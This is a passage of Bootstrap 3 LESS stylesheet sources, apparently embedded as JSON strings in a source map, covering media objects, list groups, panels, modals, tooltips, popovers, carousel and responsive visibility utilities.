10px;\n}\n\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n\n.media-middle {\n vertical-align: middle;\n}\n\n.media-bottom {\n vertical-align: bottom;\n}\n\n// Reset margins on headings for tighter default spacing\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n\n// Media list variation\n//\n// Undo default ul/ol styles\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n","//\n// List groups\n// --------------------------------------------------\n\n\n// Base class\n//\n// Easily usable on , , or .\n\n.list-group {\n // No need to set list-style: none; since .list-group-item is block level\n margin-bottom: 20px;\n padding-left: 0; // reset padding because ul and ol\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n // Place the border on the list items and negative margin up for better styling\n margin-bottom: -1px;\n background-color: @list-group-bg;\n border: 1px solid @list-group-border;\n\n // Round the first and last items\n &:first-child {\n .border-top-radius(@list-group-border-radius);\n }\n &:last-child {\n margin-bottom: 0;\n .border-bottom-radius(@list-group-border-radius);\n }\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive items.\n// Includes an extra `.active` modifier class for showing selected items.\n\na.list-group-item,\nbutton.list-group-item {\n color: @list-group-link-color;\n\n .list-group-item-heading {\n color: @list-group-link-heading-color;\n }\n\n // Hover state\n &:hover,\n &:focus {\n text-decoration: none;\n color: @list-group-link-hover-color;\n background-color: @list-group-hover-bg;\n }\n}\n\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n\n.list-group-item {\n // Disabled state\n &.disabled,\n &.disabled:hover,\n &.disabled:focus {\n background-color: @list-group-disabled-bg;\n color: @list-group-disabled-color;\n cursor: @cursor-disabled;\n\n // Force color to inherit for custom content\n .list-group-item-heading {\n color: inherit;\n }\n .list-group-item-text {\n color: @list-group-disabled-text-color;\n }\n }\n\n // Active class on item itself, not parent\n &.active,\n &.active:hover,\n &.active:focus {\n z-index: 2; // Place active items above their siblings for proper border styling\n color: @list-group-active-color;\n background-color: @list-group-active-bg;\n border-color: @list-group-active-border;\n\n // Force color to inherit for custom content\n .list-group-item-heading,\n .list-group-item-heading > small,\n .list-group-item-heading > .small {\n color: inherit;\n }\n .list-group-item-text {\n color: @list-group-active-text-color;\n }\n }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n.list-group-item-variant(success; @state-success-bg; @state-success-text);\n.list-group-item-variant(info; @state-info-bg; @state-info-text);\n.list-group-item-variant(warning; @state-warning-bg; @state-warning-text);\n.list-group-item-variant(danger; @state-danger-bg; @state-danger-text);\n\n\n// Custom content options\n//\n// Extra classes for creating well-formatted content within `.list-group-item`s.\n\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n","// List Groups\n\n.list-group-item-variant(@state; @background; @color) {\n .list-group-item-@{state} {\n color: @color;\n background-color: @background;\n\n a&,\n button& {\n color: @color;\n\n .list-group-item-heading {\n color: inherit;\n }\n\n &:hover,\n &:focus {\n color: @color;\n background-color: darken(@background, 5%);\n }\n &.active,\n &.active:hover,\n &.active:focus {\n color: #fff;\n background-color: @color;\n border-color: @color;\n }\n }\n }\n}\n","//\n// Panels\n// --------------------------------------------------\n\n\n// Base class\n.panel {\n margin-bottom: @line-height-computed;\n background-color: @panel-bg;\n border: 1px solid transparent;\n border-radius: @panel-border-radius;\n .box-shadow(0 1px 1px rgba(0,0,0,.05));\n}\n\n// Panel contents\n.panel-body {\n padding: @panel-body-padding;\n &:extend(.clearfix all);\n}\n\n// Optional heading\n.panel-heading {\n padding: @panel-heading-padding;\n border-bottom: 1px solid transparent;\n .border-top-radius((@panel-border-radius - 1));\n\n > .dropdown .dropdown-toggle {\n color: inherit;\n }\n}\n\n// Within heading, strip any `h*` tag of its default margins for spacing.\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: ceil((@font-size-base * 1.125));\n color: inherit;\n\n > a,\n > small,\n > .small,\n > small > a,\n > .small > a {\n color: inherit;\n }\n}\n\n// Optional footer (stays gray in every modifier class)\n.panel-footer {\n padding: @panel-footer-padding;\n background-color: @panel-footer-bg;\n border-top: 1px solid @panel-inner-border;\n .border-bottom-radius((@panel-border-radius - 1));\n}\n\n\n// List groups in panels\n//\n// By default, space out list group content from panel headings to account for\n// any kind of custom content between the two.\n\n.panel {\n > .list-group,\n > .panel-collapse > .list-group {\n margin-bottom: 0;\n\n .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n }\n\n // Add border top radius for first one\n &:first-child {\n .list-group-item:first-child {\n border-top: 0;\n .border-top-radius((@panel-border-radius - 1));\n }\n }\n\n // Add border bottom radius for last one\n &:last-child {\n .list-group-item:last-child {\n border-bottom: 0;\n .border-bottom-radius((@panel-border-radius - 1));\n }\n }\n }\n > .panel-heading + .panel-collapse > .list-group {\n .list-group-item:first-child {\n .border-top-radius(0);\n }\n }\n}\n// Collapse space between when there's no additional content.\n.panel-heading + .list-group {\n .list-group-item:first-child {\n border-top-width: 0;\n }\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n\n// Tables in panels\n//\n// Place a non-bordered `.table` within a panel (not within a `.panel-body`) and\n// watch it go full width.\n\n.panel {\n > .table,\n > .table-responsive > .table,\n > .panel-collapse > .table {\n margin-bottom: 0;\n\n caption {\n padding-left: @panel-body-padding;\n padding-right: @panel-body-padding;\n }\n }\n // Add border top radius for first one\n > .table:first-child,\n > .table-responsive:first-child > .table:first-child {\n .border-top-radius((@panel-border-radius - 1));\n\n > thead:first-child,\n > tbody:first-child {\n > tr:first-child {\n border-top-left-radius: (@panel-border-radius - 1);\n border-top-right-radius: (@panel-border-radius - 1);\n\n td:first-child,\n th:first-child {\n border-top-left-radius: (@panel-border-radius - 1);\n }\n td:last-child,\n th:last-child {\n border-top-right-radius: (@panel-border-radius - 1);\n }\n }\n }\n }\n // Add border bottom radius for last one\n > .table:last-child,\n > .table-responsive:last-child > .table:last-child {\n .border-bottom-radius((@panel-border-radius - 1));\n\n > tbody:last-child,\n > tfoot:last-child {\n > tr:last-child {\n border-bottom-left-radius: (@panel-border-radius - 1);\n border-bottom-right-radius: (@panel-border-radius - 1);\n\n td:first-child,\n th:first-child {\n border-bottom-left-radius: (@panel-border-radius - 1);\n }\n td:last-child,\n th:last-child {\n border-bottom-right-radius: (@panel-border-radius - 1);\n }\n }\n }\n }\n > .panel-body + .table,\n > .panel-body + .table-responsive,\n > .table + .panel-body,\n > .table-responsive + .panel-body {\n border-top: 1px solid @table-border-color;\n }\n > .table > tbody:first-child > tr:first-child th,\n > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n }\n > .table-bordered,\n > .table-responsive > .table-bordered {\n border: 0;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n > thead,\n > tbody {\n > tr:first-child {\n > td,\n > th {\n border-bottom: 0;\n }\n }\n }\n > tbody,\n > tfoot {\n > tr:last-child {\n > td,\n > th {\n border-bottom: 0;\n }\n }\n }\n }\n > .table-responsive {\n border: 0;\n margin-bottom: 0;\n }\n}\n\n\n// Collapsable panels (aka, accordion)\n//\n// Wrap a series of panels in `.panel-group` to turn them into an accordion with\n// the help of our collapse JavaScript plugin.\n\n.panel-group {\n margin-bottom: @line-height-computed;\n\n // Tighten up margin so it's only between panels\n .panel {\n margin-bottom: 0;\n border-radius: @panel-border-radius;\n\n + .panel {\n margin-top: 5px;\n }\n }\n\n .panel-heading {\n border-bottom: 0;\n\n + .panel-collapse > .panel-body,\n + .panel-collapse > .list-group {\n border-top: 1px solid @panel-inner-border;\n }\n }\n\n .panel-footer {\n border-top: 0;\n + .panel-collapse .panel-body {\n border-bottom: 1px solid @panel-inner-border;\n }\n }\n}\n\n\n// Contextual variations\n.panel-default {\n .panel-variant(@panel-default-border; @panel-default-text; @panel-default-heading-bg; @panel-default-border);\n}\n.panel-primary {\n .panel-variant(@panel-primary-border; @panel-primary-text; @panel-primary-heading-bg; @panel-primary-border);\n}\n.panel-success {\n .panel-variant(@panel-success-border; @panel-success-text; @panel-success-heading-bg; @panel-success-border);\n}\n.panel-info {\n .panel-variant(@panel-info-border; @panel-info-text; @panel-info-heading-bg; @panel-info-border);\n}\n.panel-warning {\n .panel-variant(@panel-warning-border; @panel-warning-text; @panel-warning-heading-bg; @panel-warning-border);\n}\n.panel-danger {\n .panel-variant(@panel-danger-border; @panel-danger-text; @panel-danger-heading-bg; @panel-danger-border);\n}\n","// Panels\n\n.panel-variant(@border; @heading-text-color; @heading-bg-color; @heading-border) {\n border-color: @border;\n\n & > .panel-heading {\n color: @heading-text-color;\n background-color: @heading-bg-color;\n border-color: @heading-border;\n\n + .panel-collapse > .panel-body {\n border-top-color: @border;\n }\n .badge {\n color: @heading-bg-color;\n background-color: @heading-text-color;\n }\n }\n & > .panel-footer {\n + .panel-collapse > .panel-body {\n border-bottom-color: @border;\n }\n }\n}\n","// Embeds responsive\n//\n// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n\n .embed-responsive-item,\n iframe,\n embed,\n object,\n video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n }\n}\n\n// Modifier class for 16:9 aspect ratio\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n\n// Modifier class for 4:3 aspect ratio\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n","//\n// Wells\n// --------------------------------------------------\n\n\n// Base class\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: @well-bg;\n border: 1px solid @well-border;\n border-radius: @border-radius-base;\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));\n blockquote {\n border-color: #ddd;\n border-color: rgba(0,0,0,.15);\n }\n}\n\n// Sizes\n.well-lg {\n padding: 24px;\n border-radius: @border-radius-large;\n}\n.well-sm {\n padding: 9px;\n border-radius: @border-radius-small;\n}\n","//\n// Close icons\n// --------------------------------------------------\n\n\n.close {\n float: right;\n font-size: (@font-size-base * 1.5);\n font-weight: @close-font-weight;\n line-height: 1;\n color: @close-color;\n text-shadow: @close-text-shadow;\n .opacity(.2);\n\n &:hover,\n &:focus {\n color: @close-color;\n text-decoration: none;\n cursor: pointer;\n .opacity(.5);\n }\n\n // Additional properties for button version\n // iOS requires the button element instead of an anchor tag.\n // If you want the anchor version, it requires `href=\"#\"`.\n // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n button& {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n }\n}\n","//\n// Modals\n// --------------------------------------------------\n\n// .modal-open - body class for killing the scroll\n// .modal - container to scroll within\n// .modal-dialog - positioning shell for the actual modal\n// .modal-content - actual modal w/ bg and corners and shit\n\n// Kill the scroll on the body\n.modal-open {\n overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: @zindex-modal;\n -webkit-overflow-scrolling: touch;\n\n // Prevent Chrome on Windows from adding a focus outline. For details, see\n // https://github.com/twbs/bootstrap/pull/10951.\n outline: 0;\n\n // When fading in the modal, animate it to slide down\n &.fade .modal-dialog {\n .translate(0, -25%);\n .transition-transform(~\"0.3s ease-out\");\n }\n &.in .modal-dialog { .translate(0, 0) }\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n\n// Actual modal\n.modal-content {\n position: relative;\n background-color: @modal-content-bg;\n border: 1px solid @modal-content-fallback-border-color; //old browsers fallback (ie8 etc)\n border: 1px solid @modal-content-border-color;\n border-radius: @border-radius-large;\n .box-shadow(0 3px 9px rgba(0,0,0,.5));\n background-clip: padding-box;\n // Remove focus outline from opened modal\n outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: @zindex-modal-background;\n background-color: @modal-backdrop-bg;\n // Fade for backdrop\n &.fade { .opacity(0); }\n &.in { .opacity(@modal-backdrop-opacity); }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n padding: @modal-title-padding;\n border-bottom: 1px solid @modal-header-border-color;\n min-height: (@modal-title-padding + @modal-title-line-height);\n}\n// Close icon\n.modal-header .close {\n margin-top: -2px;\n}\n\n// Title text within header\n.modal-title {\n margin: 0;\n line-height: @modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n position: relative;\n padding: @modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n padding: @modal-inner-padding;\n text-align: right; // right align buttons\n border-top: 1px solid @modal-footer-border-color;\n &:extend(.clearfix all); // clear it in case folks use .pull-* classes on buttons\n\n // Properly space out buttons\n .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0; // account for input[type=\"submit\"] which gets the bottom margin like all other inputs\n }\n // but override that for button groups\n .btn-group .btn + .btn {\n margin-left: -1px;\n }\n // and override it for block buttons as well\n .btn-block + .btn-block {\n margin-left: 0;\n }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n// Scale up the modal\n@media (min-width: @screen-sm-min) {\n // Automatically set modal's width for larger viewports\n .modal-dialog {\n width: @modal-md;\n margin: 30px auto;\n }\n .modal-content {\n .box-shadow(0 5px 15px rgba(0,0,0,.5));\n }\n\n // Modal sizes\n .modal-sm { width: @modal-sm; }\n}\n\n@media (min-width: @screen-md-min) {\n .modal-lg { width: @modal-lg; }\n}\n","//\n// Tooltips\n// --------------------------------------------------\n\n\n// Base class\n.tooltip {\n position: absolute;\n z-index: @zindex-tooltip;\n display: block;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n .reset-text();\n font-size: @font-size-small;\n\n .opacity(0);\n\n &.in { .opacity(@tooltip-opacity); }\n &.top { margin-top: -3px; padding: @tooltip-arrow-width 0; }\n &.right { margin-left: 3px; padding: 0 @tooltip-arrow-width; }\n &.bottom { margin-top: 3px; padding: @tooltip-arrow-width 0; }\n &.left { margin-left: -3px; padding: 0 @tooltip-arrow-width; }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n max-width: @tooltip-max-width;\n padding: 3px 8px;\n color: @tooltip-color;\n text-align: center;\n background-color: @tooltip-bg;\n border-radius: @border-radius-base;\n}\n\n// Arrows\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n// Note: Deprecated .top-left, .top-right, .bottom-left, and .bottom-right as of v3.3.1\n.tooltip {\n &.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.top-left .tooltip-arrow {\n bottom: 0;\n right: @tooltip-arrow-width;\n margin-bottom: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.top-right .tooltip-arrow {\n bottom: 0;\n left: @tooltip-arrow-width;\n margin-bottom: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width @tooltip-arrow-width 0;\n border-right-color: @tooltip-arrow-color;\n }\n &.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-left-color: @tooltip-arrow-color;\n }\n &.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n &.bottom-left .tooltip-arrow {\n top: 0;\n right: @tooltip-arrow-width;\n margin-top: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n &.bottom-right .tooltip-arrow {\n top: 0;\n left: @tooltip-arrow-width;\n margin-top: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n}\n",".reset-text() {\n font-family: @font-family-base;\n // We deliberately do NOT reset font-size.\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: @line-height-base;\n text-align: left; // Fallback for where `start` is not supported\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n}\n","//\n// Popovers\n// --------------------------------------------------\n\n\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: @zindex-popover;\n display: none;\n max-width: @popover-max-width;\n padding: 1px;\n // Our parent element can be arbitrary since popovers are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n .reset-text();\n font-size: @font-size-base;\n\n background-color: @popover-bg;\n background-clip: padding-box;\n border: 1px solid @popover-fallback-border-color;\n border: 1px solid @popover-border-color;\n border-radius: @border-radius-large;\n .box-shadow(0 5px 10px rgba(0,0,0,.2));\n\n // Offset the popover to account for the popover arrow\n &.top { margin-top: -@popover-arrow-width; }\n &.right { margin-left: @popover-arrow-width; }\n &.bottom { margin-top: @popover-arrow-width; }\n &.left { margin-left: -@popover-arrow-width; }\n}\n\n.popover-title {\n margin: 0; // reset heading margin\n padding: 8px 14px;\n font-size: @font-size-base;\n background-color: @popover-title-bg;\n border-bottom: 1px solid darken(@popover-title-bg, 5%);\n border-radius: (@border-radius-large - 1) (@border-radius-large - 1) 0 0;\n}\n\n.popover-content {\n padding: 9px 14px;\n}\n\n// Arrows\n//\n// .arrow is outer, .arrow:after is inner\n\n.popover > .arrow {\n &,\n &:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n }\n}\n.popover > .arrow {\n border-width: @popover-arrow-outer-width;\n}\n.popover > .arrow:after {\n border-width: @popover-arrow-width;\n content: \"\";\n}\n\n.popover {\n &.top > .arrow {\n left: 50%;\n margin-left: -@popover-arrow-outer-width;\n border-bottom-width: 0;\n border-top-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-top-color: @popover-arrow-outer-color;\n bottom: -@popover-arrow-outer-width;\n &:after {\n content: \" \";\n bottom: 1px;\n margin-left: -@popover-arrow-width;\n border-bottom-width: 0;\n border-top-color: @popover-arrow-color;\n }\n }\n &.right > .arrow {\n top: 50%;\n left: -@popover-arrow-outer-width;\n margin-top: -@popover-arrow-outer-width;\n border-left-width: 0;\n border-right-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-right-color: @popover-arrow-outer-color;\n &:after {\n content: \" \";\n left: 1px;\n bottom: -@popover-arrow-width;\n border-left-width: 0;\n border-right-color: @popover-arrow-color;\n }\n }\n &.bottom > .arrow {\n left: 50%;\n margin-left: -@popover-arrow-outer-width;\n border-top-width: 0;\n border-bottom-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-bottom-color: @popover-arrow-outer-color;\n top: -@popover-arrow-outer-width;\n &:after {\n content: \" \";\n top: 1px;\n margin-left: -@popover-arrow-width;\n border-top-width: 0;\n border-bottom-color: @popover-arrow-color;\n }\n }\n\n &.left > .arrow {\n top: 50%;\n right: -@popover-arrow-outer-width;\n margin-top: -@popover-arrow-outer-width;\n border-right-width: 0;\n border-left-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-left-color: @popover-arrow-outer-color;\n &:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: @popover-arrow-color;\n bottom: -@popover-arrow-width;\n }\n }\n}\n","//\n// Carousel\n// --------------------------------------------------\n\n\n// Wrapper for the slide container and indicators\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n\n > .item {\n display: none;\n position: relative;\n .transition(.6s ease-in-out left);\n\n // Account for jankitude on images\n > img,\n > a > img {\n &:extend(.img-responsive);\n line-height: 1;\n }\n\n // WebKit CSS3 transforms for supported devices\n @media all and (transform-3d), (-webkit-transform-3d) {\n .transition-transform(~'0.6s ease-in-out');\n .backface-visibility(~'hidden');\n .perspective(1000px);\n\n &.next,\n &.active.right {\n .translate3d(100%, 0, 0);\n left: 0;\n }\n &.prev,\n &.active.left {\n .translate3d(-100%, 0, 0);\n left: 0;\n }\n &.next.left,\n &.prev.right,\n &.active {\n .translate3d(0, 0, 0);\n left: 0;\n }\n }\n }\n\n > .active,\n > .next,\n > .prev {\n display: block;\n }\n\n > .active {\n left: 0;\n }\n\n > .next,\n > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n }\n\n > .next {\n left: 100%;\n }\n > .prev {\n left: -100%;\n }\n > .next.left,\n > .prev.right {\n left: 0;\n }\n\n > .active.left {\n left: -100%;\n }\n > .active.right {\n left: 100%;\n }\n\n}\n\n// Left/right controls for nav\n// ---------------------------\n\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: @carousel-control-width;\n .opacity(@carousel-control-opacity);\n font-size: @carousel-control-font-size;\n color: @carousel-control-color;\n text-align: center;\n text-shadow: @carousel-text-shadow;\n // We can't have this transition here because WebKit cancels the carousel\n // animation if you trip this while in the middle of another animation.\n\n // Set gradients for backgrounds\n &.left {\n #gradient > .horizontal(@start-color: rgba(0,0,0,.5); @end-color: rgba(0,0,0,.0001));\n }\n &.right {\n left: auto;\n right: 0;\n #gradient > .horizontal(@start-color: rgba(0,0,0,.0001); @end-color: rgba(0,0,0,.5));\n }\n\n // Hover/focus state\n &:hover,\n &:focus {\n outline: 0;\n color: @carousel-control-color;\n text-decoration: none;\n .opacity(.9);\n }\n\n // Toggles\n .icon-prev,\n .icon-next,\n .glyphicon-chevron-left,\n .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n }\n .icon-prev,\n .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n }\n .icon-next,\n .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n }\n .icon-prev,\n .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n }\n\n\n .icon-prev {\n &:before {\n content: '\\2039';// SINGLE LEFT-POINTING ANGLE QUOTATION MARK (U+2039)\n }\n }\n .icon-next {\n &:before {\n content: '\\203a';// SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (U+203A)\n }\n }\n}\n\n// Optional indicator pips\n//\n// Add an unordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n\n li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid @carousel-indicator-border-color;\n border-radius: 10px;\n cursor: pointer;\n\n // IE8-9 hack for event handling\n //\n // Internet Explorer 8-9 does not support clicks on elements without a set\n // `background-color`. We cannot use `filter` since that's not viewed as a\n // background color by the browser. Thus, a hack is needed.\n // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Internet_Explorer\n //\n // For IE8, we set solid black as it doesn't support `rgba()`. For IE9, we\n // set alpha transparency for the best results possible.\n background-color: #000 \\9; // IE8\n background-color: rgba(0,0,0,0); // IE9\n }\n .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: @carousel-indicator-active-bg;\n }\n}\n\n// Optional captions\n// -----------------------------\n// Hidden by default for smaller viewports\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: @carousel-caption-color;\n text-align: center;\n text-shadow: @carousel-text-shadow;\n & .btn {\n text-shadow: none; // No shadow for button elements in carousel-caption\n }\n}\n\n\n// Scale up controls for tablets and up\n@media screen and (min-width: @screen-sm-min) {\n\n // Scale up the controls a smidge\n .carousel-control {\n .glyphicon-chevron-left,\n .glyphicon-chevron-right,\n .icon-prev,\n .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -15px;\n font-size: 30px;\n }\n .glyphicon-chevron-left,\n .icon-prev {\n margin-left: -15px;\n }\n .glyphicon-chevron-right,\n .icon-next {\n margin-right: -15px;\n }\n }\n\n // Show and left align the captions\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n\n // Move up the indicators\n .carousel-indicators {\n bottom: 20px;\n }\n}\n","// Clearfix\n//\n// For modern browsers\n// 1. The space content is one way to avoid an Opera bug when the\n// contenteditable attribute is included anywhere else in the document.\n// Otherwise it causes space to appear at the top and bottom of elements\n// that are clearfixed.\n// 2. The use of `table` rather than `block` is only necessary if using\n// `:before` to contain the top-margins of child elements.\n//\n// Source: http://nicolasgallagher.com/micro-clearfix-hack/\n\n.clearfix() {\n &:before,\n &:after {\n content: \" \"; // 1\n display: table; // 2\n }\n &:after {\n clear: both;\n }\n}\n","// Center-align a block level element\n\n.center-block() {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n","// CSS image replacement\n//\n// Heads up! v3 launched with only `.hide-text()`, but per our pattern for\n// mixins being reused as classes with the same name, this doesn't hold up. As\n// of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`.\n//\n// Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757\n\n// Deprecated as of v3.0.1 (will be removed in v4)\n.hide-text() {\n font: ~\"0/0\" a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n\n// New mixin to use as of v3.0.1\n.text-hide() {\n .hide-text();\n}\n","//\n// Responsive: Utility classes\n// --------------------------------------------------\n\n\n// IE10 in Windows (Phone) 8\n//\n// Support for responsive views via media queries is kind of borked in IE10, for\n// Surface/desktop in split view and for Windows Phone 8. This particular fix\n// must be accompanied by a snippet of JavaScript to sniff the user agent and\n// apply some conditional CSS to *only* the Surface/desktop Windows 8. Look at\n// our Getting Started page for more information on this bug.\n//\n// For more information, see the following:\n//\n// Issue: https://github.com/twbs/bootstrap/issues/10497\n// Docs: http://getbootstrap.com/getting-started/#support-ie10-width\n// Source: http://timkadlec.com/2013/01/windows-phone-8-and-device-width/\n// Source: http://timkadlec.com/2012/10/ie10-snap-mode-and-responsive-design/\n\n@-ms-viewport {\n width: device-width;\n}\n\n\n// Visibility utilities\n// Note: Deprecated .visible-xs, .visible-sm, .visible-md, and .visible-lg as of v3.2.0\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n .responsive-invisibility();\n}\n\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n\n.visible-xs {\n @media (max-width: @screen-xs-max) {\n .responsive-visibility();\n }\n}\n.visible-xs-block {\n @media (max-width: @screen-xs-max) {\n display: block !important;\n }\n}\n.visible-xs-inline {\n @media (max-width: @screen-xs-max) {\n display: inline !important;\n }\n}\n.visible-xs-inline-block {\n @media (max-width: @screen-xs-max) {\n display: inline-block !important;\n }\n}\n\n.visible-sm {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n .responsive-visibility();\n }\n}\n.visible-sm-block {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: block !important;\n }\n}\n.visible-sm-inline {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: inline !important;\n }\n}\n.visible-sm-inline-block {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: inline-block !important;\n }\n}\n\n.visible-md {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n .responsive-visibility();\n }\n}\n.visible-md-block {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: block !important;\n }\n}\n.visible-md-inline {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: inline !important;\n }\n}\n.visible-md-inline-block {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: inline-block !important;\n }\n}\n\n.visible-lg {\n @media (min-width: @screen-lg-min) {\n .responsive-visibility();\n }\n}\n.visible-lg-block {\n @media (min-width: @screen-lg-min) {\n display: block !important;\n }\n}\n.visible-lg-inline {\n @media (min-width: @screen-lg-min) {\n display: inline !important;\n }\n}\n.visible-lg-inline-block {\n @media (min-width: @screen-lg-min) {\n display: inline-block !important;\n }\n}\n\n.hidden-xs {\n @media (max-width: @screen-xs-max) {\n .responsive-invisibility();\n }\n}\n.hidden-sm {\n 